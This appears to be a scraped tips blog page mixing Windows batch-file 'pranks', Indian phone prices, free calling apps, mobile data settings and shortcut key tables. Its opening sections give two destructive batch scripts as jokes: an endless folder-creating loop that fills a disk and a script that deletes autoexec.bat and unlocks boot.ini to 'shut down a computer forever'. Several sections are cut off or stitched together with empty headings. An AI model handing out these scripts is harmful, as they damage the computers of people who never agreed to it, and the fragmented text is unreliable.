Trick to Make over 1,000 folders in few seconds

Here I will teach you a simple prank that will make an unlimited amount of folders in any place you want.

1. Open notepad and type :
@echo off
:top
md %random%
goto top 
@echo off makes it so that it appears to be a blank screen but actually its making hundreds of folder.
md %random% is command that creates folders with random names.
goto top – return to label :top, infinite loop.

A Computer Tricks to Shut Down a Computer Forever

Open notepad and copy/paste this code:
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini

Shake Your Computer

Funny Computer Trick

Check out these funny trick.  

Send free sms from your phone ( works on all networks )

If you are smartphone user, this is a must have app for you, This is the best messaging application available in the market.This little thing is tested and works with all operators in all countries.

WhatsApp is an application that supports iphone,few selected nokia, All Android and Blackberry phones,

Reliance GSM GPRS/WAP settings

APN : smartwap
Login Request Required : off
Authentication : PAP
Data Compression : off
Header Compression : off

Popular android phones and their price in India

Android phones are booming the Indian mobile market. Here are some of the most popular android phones and their current market price in India.

1. HTC wildfire :  9500/-
2. Samsung Galaxy ace : 12000/-
3. HTC Tatto : 12000/-
4. Samsung Galaxy 551 : 8800/-
5. Motorola Defy : 13500/-
6. HTC Desire S : 21500/-
7. HTC Desire HD : 24500/-
8. Samsung Galaxy S : 27000/-
9. Motorola milestone : 17500/-
10. Samsung Galaxy pop : 7750/-

Prices indicated here are for reference purpose only and may vary

Make Android to Android / Iphone Free VOIP phone Calls

Here’s a quick short post on How to make free voip calls using an Iphone or Android.
Iphone and Android phones ssupport loads of applications that allow you to make free phone to phone calls to other smartphone devices. But here is the trick; Both the devices should have internet i.e. wifi/3g/2g  enabled and should be running the same applications on the phone.

Applications that support free phone to phone calls :
Skype:
Skype is world’s most popular PC to PC telephony service with more than 350 million users across the globe. Well thats old news; Good news is Skype has a mobile app. You can make free call to another user who is on skype using your mobile phone. If your friend is also a smartphone user (Android or Iphone) you can make free calls to them.
Download skype for your phone here :
http://www.skype.com/intl/en-us/get-skype/on-your-mobile/download/
Viber :
Viber is a mobile calling service that works on mobile phones with wifi & 3g internet. Viber not only supports free calling but also supports free text messaging to other viber users. You can also make Viber as a default dialer for your android phone.
Download Viber for your phone here :
http://www.viber.com/

Yahoo Messenger :
The yahoo messenger app for android also supports free calls to other devices running yahoo messenger.
In order to enjoy superior  call-quality you should be using 3g, However 2g Edge networks of Vodafone & Airtel are good enough & give good speed to support voice call quality.

Free GPRS Settings FOR IDEA

GPRS on Idea simcards is by default activated,
In order to use it over mobile phones, use following settings:

hide your important data from other users

Normally when you need to secure your important data from other users, then your first choice is to burn it on CD or put it to removable drive instead of hard drive. But imagine if your data size is more than 100 GB then it is not easy to burn it on CD. No worry, you can save your full drive from other users access using this trick. Check out InfoSec Institute for IT courses including computer forensics boot camp training

 

Perform the given steps to hide your system data partition: 

 

• To enable this feature, you will need to be logged into your computer with administrative rights. 
•  
• First click on Start button to open "Run" and type "CMD" (without the quotes) then press Ok button to open Command Prompt.

clear your sensitive information on system shutdown

During data processing some operating systems use the hard disk as memory, called virtual memory. During processing, operating system transfers some data and programs from RAM to hard disk and reloads again when required. The data or programs are stored in hard disk in temporary file called the swap file. This technique of swapping data between memory and hard disk is called paging. Operating system spends a lot of time in paging process, instead of executing the application software. But the problem is that while working you use different software programs on computer and page file may contain your confidential information or stored in non encrypted format. To reduce this risk, you can set your computer to clear out page file automatically each time you shutdown your computer.

 

Perform the given steps to set your system clear page file automatically:

 

• To enable this feature, you will need to be logged into your computer with administrative rights.
• First click on start button to open control panel and then click here on "Administrative Tools" option.

Microsoft Windows shortcut keys

Shortcut Keys

3.x

9x

ME

NT

2K

XP

Vista

7

Description

Alt + Tab

X

X

X

X

X

X

X

X

Switch between open applications.

Alt + Shift + Tab

X

X

X

X

X

X

X

X

Switch backwards between open applications.

Alt + double-click

X

X

X

X

X

X

X

Display the properties of the object you double-click on. For example, doing this on a file would display its properties.

Ctrl + Tab

X

X

X

X

X

X

X

X

Switches between program groups or document windows in applications that support this feature.

What are the F1 through F12 keys

F1

• Almost always used as the help key, almost every program will open the help screen when this key is pressed.
• Enter CMOS Setup.
• Windows Key + F1 would open the Microsoft Windows help and support center.
• Open the Task Pane.

F2

• In Windows commonly used to rename a highlighted icon or file.
• Alt + Ctrl + F2 opens document window in Microsoft Word.
• Ctrl + F2 displays the print preview window in Microsoft Word.
• Enter CMOS Setup.

Basic PC shortcut keys

The below basic shortcut keys are a listing of shortcut keys that will work with almost all IBM compatible computers and software programs. It is highly recommended that all users keep a good reference of the below shortcut keys or try to memorize the below keys. Doing so will dramatically increase your productivity.

Shortcut Keys	Description
Alt + F	File menu options in current program.
Alt + E	Edit options in current program
F1	Universal Help in almost every Windows program.
Ctrl + A	Select all text.
Ctrl + X	Cut selected item.
Shift + Del	Cut selected item.
Ctrl + C	Copy selected item.
Ctrl + Ins	Copy selected item
Ctrl + V	Paste
Shift + Ins	Paste
Home	Goes to beginning of current line.
Ctrl + Home	Goes to beginning of document.
End	Goes to end of current line.
Ctrl + End	Goes to end of document.
Shift + Home	Highlights from current position to beginning of line.
Shift + End	Highlights from current position to end of line.
Ctrl + Left arrow	Moves one word to the left at a time.
Ctrl + Right arrow	Moves one word to the right at a time.